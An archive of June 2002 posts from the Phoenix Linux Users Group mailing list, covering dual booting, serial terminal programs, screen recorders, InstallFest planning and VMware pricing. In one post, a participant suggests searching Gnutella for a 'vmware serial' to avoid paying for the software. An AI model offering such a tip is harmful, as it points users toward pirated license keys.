Granroth wrote: >> What *this* site is is yet another Special Interests Group with links >> to software related to their interest. It's no different, really, >> than an animal lover offering links to screensavers, wallpapers, pet >> interaction programs, and the like. Or any low-budget advocacy group >> sharing info on using Linux to advance the cause. > Don't worry. We'd laugh at the cat lovers as well. No harm intended. [;-)] >> I actually did something a *little* similar not that long ago with my >> own church in an attempt to get people to interact more online. I had >> some tutorials and the like written up on how to use Linux and ogg >> vorbis (and was getting into icecast) to allow church members spread >> around the country and the world to still stay in touch. >> Hmm.. although in my case, midway through my work, I was told by the >> Church Board that I was to cease and desist any and all work I was >> doing since the Internet was evil (no joke) and they thought people >> should spend less time online, not more. Ah well. > "Evil"? I think I hear the words of an individual with little experience. They need to keep in mind that the first amendment doesn't just apply to them. In the case of spending more time offline, that is certainly a common thread among society. However, if the religious leader of choice can spend a couple of hours a day talking to people, then they should respect my right to do the same. Your project sounds like it is dying to be placed on the PLUG website, though. [:-)] - -- Voltage Spike --------------080004090400010403080901-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:44:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Tue, 11 Jun 2002 12:44:11 -0700 Subject: ride sharing for the InstallFest Message-ID: <3D06530B.9030301@earthlink.net> --------------080807090203050702090104 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I live in Gilbrt and would be happy to give a ride to anyone who needs it. Ben Chacko nismo96@earthlink.net moin, moin, not everyone has a car to get to the InstallFest. Also, some who might be bringing equipment might need help hauling it over. Let's see if we can use the list to organize that a little bit [:)] . ciao, der.hans -- --------------080807090203050702090104-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:43:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: Tue, 11 Jun 2002 12:43:53 -0700 (MST) Subject: XP/Linux dual boot In-Reply-To: <3D062CA1.642704EA@qwest.net> Message-ID: Sure you can - the ntfs module provides read support. You'll probably need to compile support for it into your kernel though. It works like a charm. Gary http://www.linuxchimp.com On Tue, 11 Jun 2002, Kevin Brown wrote: > But then you can't mount and use the Windows partitions under linux. > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:53:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Tue, 11 Jun 2002 14:53:19 -0500 (CDT) Subject: Multimedia Creation Software In-Reply-To: <3D06530B.9030301@earthlink.net> Message-ID: For GNU Enterprise I have been working on some tutorial guides and such. Generally it is much harder to write documentation showing how to do things than to show someone, especially in a highly visual environment. What I would love to do is have a program record all the actions on my screen and record my voice at the same time. This way I could give a presentation, much the way we do at PLUG and at the end I would have an electronic 'video' that I could post on the net as a 'tutorial guide' I would love to do this for classes for PLUG as well. Anyone know of any Free Software that does something like this? -Derek From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:32:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 11 Jun 2002 15:32:10 -0500 Subject: code red virus? In-Reply-To: <3D06F5CB.84E0A50D@mindspring.com>; from eroger@mindspring.com on Wed, Jun 12, 2002 at 12:18:36AM -0700 References: <3D06F5CB.84E0A50D@mindspring.com> Message-ID: <20020611153210.D11403@lilly.csoft.net> How are you defining "hits"? On Wed, Jun 12, 2002 at 12:18:36AM -0700, User wrote: Lately we have noticed that our friendly firewall is taking hits from what seems to be Russia. At least today it seems to be Russia. Novoisvirsk, it seems like, according to traceroute. I don't know a whole lot about probes like this but am thankful to you folks for your guidance with regard to firewalls. Is there something that we can do with regard to this type of thing? Maybe, just track them down for fun. Where would be a good place to start reading about this sort of thing. We trace routed them throught 25 hops to 217.70.107.151 p151.rnttu.sinor.ru was the last hop on the list. Thank you Roger ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:44:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 11 Jun 2002 15:44:19 -0500 Subject: Multimedia Creation Software In-Reply-To: ; from derek@gnue.org on Tue, Jun 11, 2002 at 02:53:19PM -0500 References: <3D06530B.9030301@earthlink.net> Message-ID: <20020611154419.F11403@lilly.csoft.net> I seem to recall a small program on my old Debian boxes that recorded everything you did on the terminal session. I wish I could remember the name of it tho'??????????? MAybe that would be a starting point? On Tue, Jun 11, 2002 at 02:53:19PM -0500, Derek Neighbors wrote: For GNU Enterprise I have been working on some tutorial guides and such. Generally it is much harder to write documentation showing how to do things than to show someone, especially in a highly visual environment. What I would love to do is have a program record all the actions on my screen and record my voice at the same time. This way I could give a presentation, much the way we do at PLUG and at the end I would have an electronic 'video' that I could post on the net as a 'tutorial guide' I would love to do this for classes for PLUG as well. Anyone know of any Free Software that does something like this? -Derek ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 21:11:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 11 Jun 2002 14:11:26 -0700 Subject: XP/Linux dual boot In-Reply-To: <3D062CA1.642704EA@qwest.net> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <200206110915.46929.krycom1@cox.net> <3D062CA1.642704EA@qwest.net> Message-ID: <200206111411.26240.krycom1@cox.net> On Tuesday 11 June 2002 10:00 am, Kevin Brown wrote: Why not? SuSE see's the NTFS just fine. In fact, it's one of the few distro's that do. It auto mounted and installed an icon to work on my windows partition when I originally installed SuSE 8.0 Pro. > But then you can't mount and use the Windows partitions under linux. > > "Richard L. Proctor" wrote: > > On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > > > > I would install XP in a fat32 partition. Don't use NTFS. > > > As far as I know, you can't modify the fat32 partition that XP is on, > > > or it will break it's crc consistency and it won't boot. > > > > > > I don't know if that means the partition table in general or not. > > > You might try getting a copy of partition magic 7 and use that. > > > If you don't have it, I can loan you a copy of the rescue disks. > > > > > > nathan > > > > I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the > > drive and SuSE on the other half and as a dual boot system. Works fine!! > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 21:48:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Tue, 11 Jun 2002 14:48:43 -0700 Subject: XP/Linux dual boot References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <200206110915.46929.krycom1@cox.net> <3D062CA1.642704EA@qwest.net> <200206111411.26240.krycom1@cox.net> Message-ID: <3D06703A.72FB0839@qwest.net> Read-only to me is not working with it. You couldn't edit the information and stick it back on that partition that it came from. "Richard L. Proctor" wrote: > > On Tuesday 11 June 2002 10:00 am, Kevin Brown wrote: > > Why not? > > SuSE see's the NTFS just fine. > > In fact, it's one of the few distro's that do. It auto mounted and installed > an icon to work on my windows partition when I originally installed SuSE 8.0 > Pro. > > > But then you can't mount and use the Windows partitions under linux. > > > > "Richard L. Proctor" wrote: > > > On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > > Hash: SHA1 > > > > > > > > > > > > I would install XP in a fat32 partition. Don't use NTFS. > > > > As far as I know, you can't modify the fat32 partition that XP is on, > > > > or it will break it's crc consistency and it won't boot. > > > > > > > > I don't know if that means the partition table in general or not. > > > > You might try getting a copy of partition magic 7 and use that. > > > > If you don't have it, I can loan you a copy of the rescue disks. > > > > > > > > nathan > > > > > > I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the > > > drive and SuSE on the other half and as a dual boot system. Works fine!! > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:02:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 18:02:45 -0400 Subject: Terminal app? Message-ID: Boy, I feel like this should be obvious but it has not come up before in my Linux life so I have never thought about it. I need a terminal app that comunicates through a serial port. You know, something like that Hyperterminal program on that other OS. Nothing is poping up at me as that app. Doesn't have to be X/GUI but some logging capability would be really nice. Somebody point me to something, please. Alan From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:08:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Tue, 11 Jun 2002 15:08:52 -0700 Subject: Terminal app? Message-ID: <7D2FB294FA311F4299D03CC8D390437071655D@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_ISvcEezc6kJeVBfBgxg77w) Content-type: text/plain; charset="iso-8859-1" CKermit. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: alandd@mindspring.com [mailto:alandd@mindspring.com] Sent: Tuesday, June 11, 2002 3:03 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Terminal app? Boy, I feel like this should be obvious but it has not come up before in my Linux life so I have never thought about it. I need a terminal app that comunicates through a serial port. You know, something like that Hyperterminal program on that other OS. Nothing is poping up at me as that app. Doesn't have to be X/GUI but some logging capability would be really nice. Somebody point me to something, please. Alan ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_ISvcEezc6kJeVBfBgxg77w) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: Terminal app?

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= --Boundary_(ID_ISvcEezc6kJeVBfBgxg77w)-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:17:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Tue, 11 Jun 2002 15:17:01 -0700 Subject: Terminal app? References: Message-ID: <3D0676DD.25AB701F@qwest.net> Minicom? alandd@mindspring.com wrote: > > Boy, I feel like this should be obvious but it has not come up before in my Linux life so I have never thought about it. > > I need a terminal app that comunicates through a serial port. You know, something like that Hyperterminal program on that other OS. Nothing is poping up at me as that app. Doesn't have to be X/GUI but some logging capability would be really nice. > > Somebody point me to something, please. > > Alan > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:24:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 15:24:34 -0700 Subject: Lycoris Linux & InstallFest Message-ID: <1023834274.3d0678a2196d7@webmail.freedom2surf.net> Got an email back from Jason Spisak, Marketing Director, Lycoris, http://www.lycoris.com . They are interested in being a part of the InstallFest. Jason will be in touch with Bill. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:13:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Austin Godber) Date: Tue, 11 Jun 2002 15:13:27 -0700 Subject: Terminal app? References: Message-ID: <3D067607.F505516A@asu.edu> Minicom is a console app, and Seyon is the X app. There may be others. Austin alandd@mindspring.com wrote: > > Boy, I feel like this should be obvious but it has not come up before in my Linux life so I have never thought about it. > > I need a terminal app that comunicates through a serial port. You know, something like that Hyperterminal program on that other OS. Nothing is poping up at me as that app. Doesn't have to be X/GUI but some logging capability would be really nice. > > Somebody point me to something, please. > > Alan > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Austin Godber godber@asu.edu Rotten Philomathian From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:15:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 15:15:20 -0700 Subject: Terminal app? In-Reply-To: References: Message-ID: <200206111515.20152.voltage_spike@fastmail.fm> On Tuesday 11 June 2002 03:02 pm, alandd@mindspring.com wrote: > I need a terminal app that comunicates through a serial port. You know, > something like that Hyperterminal program on that other OS. Nothing is > poping up at me as that app. Doesn't have to be X/GUI but some logging > capability would be really nice. I have found Minicom (http://www.netsonic.fi/~walker/minicom.html) to be excellent. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:33:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 11 Jun 2002 15:33:39 -0700 Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. Message-ID: I created a new fat32 partition from free space on my 40GB hdd. Now my dual boot W2K/Mandrake won't boot. I used the "Disk Manager" feature in W2K Pro to create a fat32 partition. It complained that another program was using the hdd or something but I managed to format it anyway and use it within W2K. Now I can't start my linux installation. The W2K still boots. This is my partition map: Primary HTFS 7.81GB Extended 494MB / ext2 or ext3 243MB swap 2.93GB ? ext? 4.6GB /home ext? 3.91GB fat32 << Here's the new one I just made. (G:) 14GB FREE 3.91GB fat32 << Old part. for sharing .mp3 and transfering between OSs. (F:) Here is my error message: Activating swap partitions: swapon: /dev/hda7: Invalid argument [FAILED] Finding module dependencies [OK] Checking filesystems /dev/hda9: The superblock could not be read or does not describe a correct ext2 filesystem. If the device is valid and it really contains an ext2 filesystem (and not a swap or ufs or something else), then the superblock is corrupt, and you might try running e2fsck with an alternate superblodk: e2fsck -b 8193 fsck.ext3: Bad magic number in super-block while trying to open /dev/hda9 /dev/hda8: clean, 587/602656 files, 29306/1204867 Failed to check filesystem. Do you want to repair the errors? (Y/N) (beware, you can lose data) I tried deleting the newly created fat32 but my Mandrake 8.1 still won't start. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:33:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 15:33:47 -0700 Subject: Multimedia Creation Software In-Reply-To: <20020611154419.F11403@lilly.csoft.net> References: <3D06530B.9030301@earthlink.net> <20020611154419.F11403@lilly.csoft.net> Message-ID: <1023834827.3d067acba1e2f@webmail.freedom2surf.net> Quoting Mike : > I seem to recall a small program on my old Debian boxes > that recorded everything you did on the terminal session. > I wish I could remember the name of it tho'??????????? > MAybe that would be a starting point? > > > > On Tue, Jun 11, 2002 at 02:53:19PM -0500, Derek Neighbors wrote: > For GNU Enterprise I have been working on some tutorial guides and such. > Generally it is much harder to write documentation showing how to do > things than to show someone, especially in a highly visual environment. > > What I would love to do is have a program record all the actions on my > screen and record my voice at the same time. This way I could give a > presentation, much the way we do at PLUG and at the end I would have an > electronic 'video' that I could post on the net as a 'tutorial guide' > > I would love to do this for classes for PLUG as well. Anyone know of any > Free Software that does something like this? > > -Derek > This sounds close - RapidBuilder for Linux v1.0, a Linux-based simulation tool that enables developers to capture and edit live Linux desktop sessions in order to produce interactive, multimedia Linux simulations. http://www.xstreamsoftware.com/news_rblinux.htm I found some other software based on Flash or Java as well. What you want, of course, is something like Lotus ScreenCam but for Linux. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 22:52:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 11 Jun 2002 15:52:00 -0700 Subject: Lycoris Linux & InstallFest In-Reply-To: <1023834274.3d0678a2196d7@webmail.freedom2surf.net> References: <1023834274.3d0678a2196d7@webmail.freedom2surf.net> Message-ID: <0206111552000Z.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 How interested? Enough to list on the contributors page? Btw, I contacted our UG Liason at O'Reilly. She wont be back into the office until next Monday, but I expect to hear from her early next week. On Tuesday 11 June 2002 15:24, you wrote: > Got an email back from Jason Spisak, Marketing Director, Lycoris, > http://www.lycoris.com . They are interested in being a part of the > InstallFest. > > Jason will be in touch with Bill. > > Dennis > > > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQZ/ECsk3ywszI1FEQIUUwCdE8H554IMKu0iwa4xftihKwGv/hsAnjvr hr4UE1vJ4BnMdj9LiThmfKv3 =3MKb -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 23:29:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 16:29:09 -0700 Subject: Lycoris Linux & InstallFest In-Reply-To: <0206111552000Z.08309@nova.wedge.org> References: <1023834274.3d0678a2196d7@webmail.freedom2surf.net> <0206111552000Z.08309@nova.wedge.org> Message-ID: <1023838149.3d0687c57cb7d@webmail.freedom2surf.net> Quoting Jim : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > How interested? Enough to list on the contributors page? > Lycoris' Marketing Director, Jason Spisak says he is serious about coming down for the InstallFest and will personally demonstrate Desktop/LX. Seems he grow up in Mesa. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 23:55:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 11 Jun 2002 16:55:06 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206111223.47899.voltage_spike@fastmail.fm> Message-ID: <200206112355.TAA07496@hostinworld6.com> If you're going to the installfest, i'll burn you a copy. Just don't expect support from me. On 11 Jun 2002 12:23:47 -0700, Logan Kennelly wrote: > I am looking into buying a new notebook computer for use as a > general-purpose machine. One of my primary uses on the old laptop was > for testing new *nix systems (FreeBSD, various distributions of Linux, > etc.). > > I am considering buying from PC Club (www.pcclub.com), but if anybody > else has any suggestions, I am willing to listen. > > The question I am more interested in, however, is whether I should go > with an Intel or an AMD mobile processor. Intel seems to have some very > nice features for their mobile line, but I have been unable to locate > some good comparisons of the two. If somebody on the list has > researched this item, I would love to hear from you. > > Thank you ahead of time. > > PS: I would really love an Apple system, but then I couldn't use it as > test bed. Still, if someone can sell me on Mac OS X . . . > > PPS: I am sorry that I butchered the English language in the above message. > I am hungry, and my brain is not working properly. > > -- > Logan Kennelly > ,,, > (. .) > --ooO-(_)-Ooo-- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 23:57:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 19:57:01 -0400 Subject: code red virus? References: <3D06F5CB.84E0A50D@mindspring.com> Message-ID: <3D068E4D.13757D40@georgetoft.com> Try: $ whois 217.70.107.151@whois.ripe.net There's not much you can do. In my experience, the poorer the country, the less they care about anything you have to say. If you offer them some good ol' US greenbacks, they might change their tune. Why do you think the bulk of the spam comes from China and Taiwan? Because they don't care about netiquet - they want the cash. George User wrote: > > Lately we have noticed that our friendly firewall is taking hits from > what seems to be Russia. At least today it seems to be Russia. > Novoisvirsk, it seems like, according to traceroute. > I don't know a whole lot about probes like this but am thankful to you > folks for your guidance with regard to firewalls. > > Is there something that we can do with regard to this type of thing? > Maybe, just track them down for fun. Where would be a good place to > start reading about this sort of thing. > > We trace routed them throught 25 hops to 217.70.107.151 > > p151.rnttu.sinor.ru was the last hop on the list. > > Thank you > Roger > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 00:02:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 20:02:31 -0400 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <3D055C10.29367AC0@georgetoft.com> <200206102200.00787.plug@the-arcanum.org> <3D05E163.2F12A01A@georgetoft.com> <3D05FCB9.1020001@asu.edu> Message-ID: <3D068F97.13F73297@georgetoft.com> Are we talking the same version? Or did they have a recent pricing structure change? George Roderick Ford wrote: > > For personal use, the price is ~$120...used to be $99. > > Rod > > George Toft wrote: > > Hi Nathan, > > > > The price for vmware is $299. > > > > George > > > > > > Nathan England wrote: > > > >>-----BEGIN PGP SIGNED MESSAGE----- > >>Hash: SHA1 > >> > >>George, > >>How much did you pay for vmware? > >> > >>Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > >> > >>>My experience with vmware is very positive. Issues with vmware: > >>>- I cannot listen to Internet Radio at kccnfm100.com. Even with four > >>>new software > >>>downloads, three reboots (virtual), and 2 crashes, all I got was static. > >>>- vmware does not do streaming media via USB. Want to use a USB > >>>camera? Forget it. > >>>- vmware with sound is usually preceeded with a loud pop. > >>>- vmware does not support directx very well (if at all). > >>> > >>>Other than that, it lets me do my taxes, browse using IE 5.5, and gives > >>>me blue screens, > >>>just like the real thing. > >>> > >>>George > >>> > >>>Mike Porter wrote: > >>> > >>>>Ok, this is intriguing to me. I am looking to migrate my house over to > >>>>Linux, but I have some apps for which I cannot find comparable *nix > >>>>substitutes. (Believe it or not, the request to move torward Linux is at > >>>>my wife's request) > >>>> > >>>>So, those who have experienced VMware, win4lin, and the like, can you > >>>>offer me your best suggestions as far as which you prefer and which > >>>>flavor of Linux you believe is most solid with your choice? Also, any > >>>>gotchas that you can think of would be most helpful. > >>>> > >>>>Also, has anyone run into problems with accessing Windows only devices > >>>>using either of these options? > >>>> > >>>>Mike > >>>> > >>>>-----Original Message----- > >>>>From: Derek Neighbors [mailto:derek@gnue.org] > >>>>Sent: Sunday, May 26, 2002 9:36 PM > >>>>To: plug-discuss@lists.plug.phoenix.az.us > >>>>Cc: punkmmiv@cox.net > >>>>Subject: Re: Windows and Linux > >>>> > >>>>On 26 May 2002 22:44:49 -0700 > >>>> > >>>>Matt wrote: > >>>> > >>>>>I know that Windows and Linux are supposed to operate pretty well > >>>>>together, but the only articles I've read are about installing Linux > >>>>>once Windows is already there. I'm running a pure SuSE 8.0 box and I > >>>>>was wondering if it's possible to install Windows on it while still > >>>>>being able to use my current install? > >>>> > >>>>Try win4lin. It lets you run windows as a window inside your GNU/Linux > >>>>environment. Unlike VMWare and friends it is not a VM. Also, unlike > >>>>WINE it actually works and works well. It will even let windows use > >>>>(read/write) to your GNU/Linux file systems and such. It is not free, > >>>>but neither is M$ Windows (so I assume you dont have a problem with > >>>>that) and it is by far the best way to 'suffer' M$ while not having to > >>>>'leave' a real operating system. > >>>> > >>>>-Derek > >>>>________________________________________________ > >>>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>>>post to the list quickly and you use Netscape to write mail. > >>>> > >>>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >>>>________________________________________________ > >>>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>>>post to the list quickly and you use Netscape to write mail. > >>>> > >>>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >>> > >>>________________________________________________ > >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>>post to the list quickly and you use Netscape to write mail. > >>> > >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >> > >>-----BEGIN PGP SIGNATURE----- > >>Version: GnuPG v1.0.7 (GNU/Linux) > >> > >>iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr > >>UHgqeghEeXKGOxPtBOCylhE= > >>=GPfW > >>-----END PGP SIGNATURE----- > >> > >>________________________________________________ > >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >> > >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 00:12:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 20:12:20 -0400 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <200206102200.00787.plug@the-arcanum.org> <3D05E163.2F12A01A@georgetoft.com> <200206110847.11590.plug@the-arcanum.org> Message-ID: <3D0691E4.5C7664EE@georgetoft.com> You could download the RPM, then use a Gnutella client to search for "vmware serial" and see what pops up. This, however, goes against why I buy retail distros - it's cool to support a company that makes Linux products. I spent Thousands of $$$ on Windows crap just to get what's on a Linux distro for under $100. Quite a bit of my Windows $$$ went for clean up software, stabilizing software, and anti-virus software - none of which is necessary under Linux. This page still shows $299: https://www.vmware.com/request_processor?nextPage=/vmwarestore/newstore/category.jsp&action=CATALOG.GETGROUPS&application=store&ProductGroupCodes=WKST3-WIN,WKST3-LX The flexibility is wonderful. I use it to create testbeds that I can destroy. I have a copy of my World Famous (well, it will be) Firewall that I pound. I verified my backup procedure by restoring the backup to a vmware instance - including disk partitioning. I have a copy of Win95, that does my taxes, and some avi -> mpeg conversions for me. I have a full e-commerce server set up. If I totally hose any of them, I restore the image from backup, and restart it. Trying this on real hardware is not really feasible. George Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Ouch! > That's a little our of my price range! > > Am Dienstag 11 Juni 2002 04:39 vormittags schrieb George Toft: > > Hi Nathan, > > > > The price for vmware is $299. > > > > George > > > > Nathan England wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > George, > > > How much did you pay for vmware? > > > > > > Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > > > > My experience with vmware is very positive. Issues with vmware: > > > > - I cannot listen to Internet Radio at kccnfm100.com. Even with four > > > > new software > > > > downloads, three reboots (virtual), and 2 crashes, all I got was > > > > static. - vmware does not do streaming media via USB. Want to use a > > > > USB camera? Forget it. > > > > - vmware with sound is usually preceeded with a loud pop. > > > > - vmware does not support directx very well (if at all). > > > > > > > > Other than that, it lets me do my taxes, browse using IE 5.5, and gives > > > > me blue screens, > > > > just like the real thing. > > > > > > > > George > > > > > > > > Mike Porter wrote: > > > > > Ok, this is intriguing to me. I am looking to migrate my house over > > > > > to Linux, but I have some apps for which I cannot find comparable > > > > > *nix substitutes. (Believe it or not, the request to move torward > > > > > Linux is at my wife's request) > > > > > > > > > > So, those who have experienced VMware, win4lin, and the like, can you > > > > > offer me your best suggestions as far as which you prefer and which > > > > > flavor of Linux you believe is most solid with your choice? Also, > > > > > any gotchas that you can think of would be most helpful. > > > > > > > > > > Also, has anyone run into problems with accessing Windows only > > > > > devices using either of these options? > > > > > > > > > > Mike > > > > > > > > > > -----Original Message----- > > > > > From: Derek Neighbors [mailto:derek@gnue.org] > > > > > Sent: Sunday, May 26, 2002 9:36 PM > > > > > To: plug-discuss@lists.plug.phoenix.az.us > > > > > Cc: punkmmiv@cox.net > > > > > Subject: Re: Windows and Linux > > > > > > > > > > On 26 May 2002 22:44:49 -0700 > > > > > > > > > > Matt wrote: > > > > > > I know that Windows and Linux are supposed to operate pretty well > > > > > > together, but the only articles I've read are about installing > > > > > > Linux once Windows is already there. I'm running a pure SuSE 8.0 > > > > > > box and I was wondering if it's possible to install Windows on 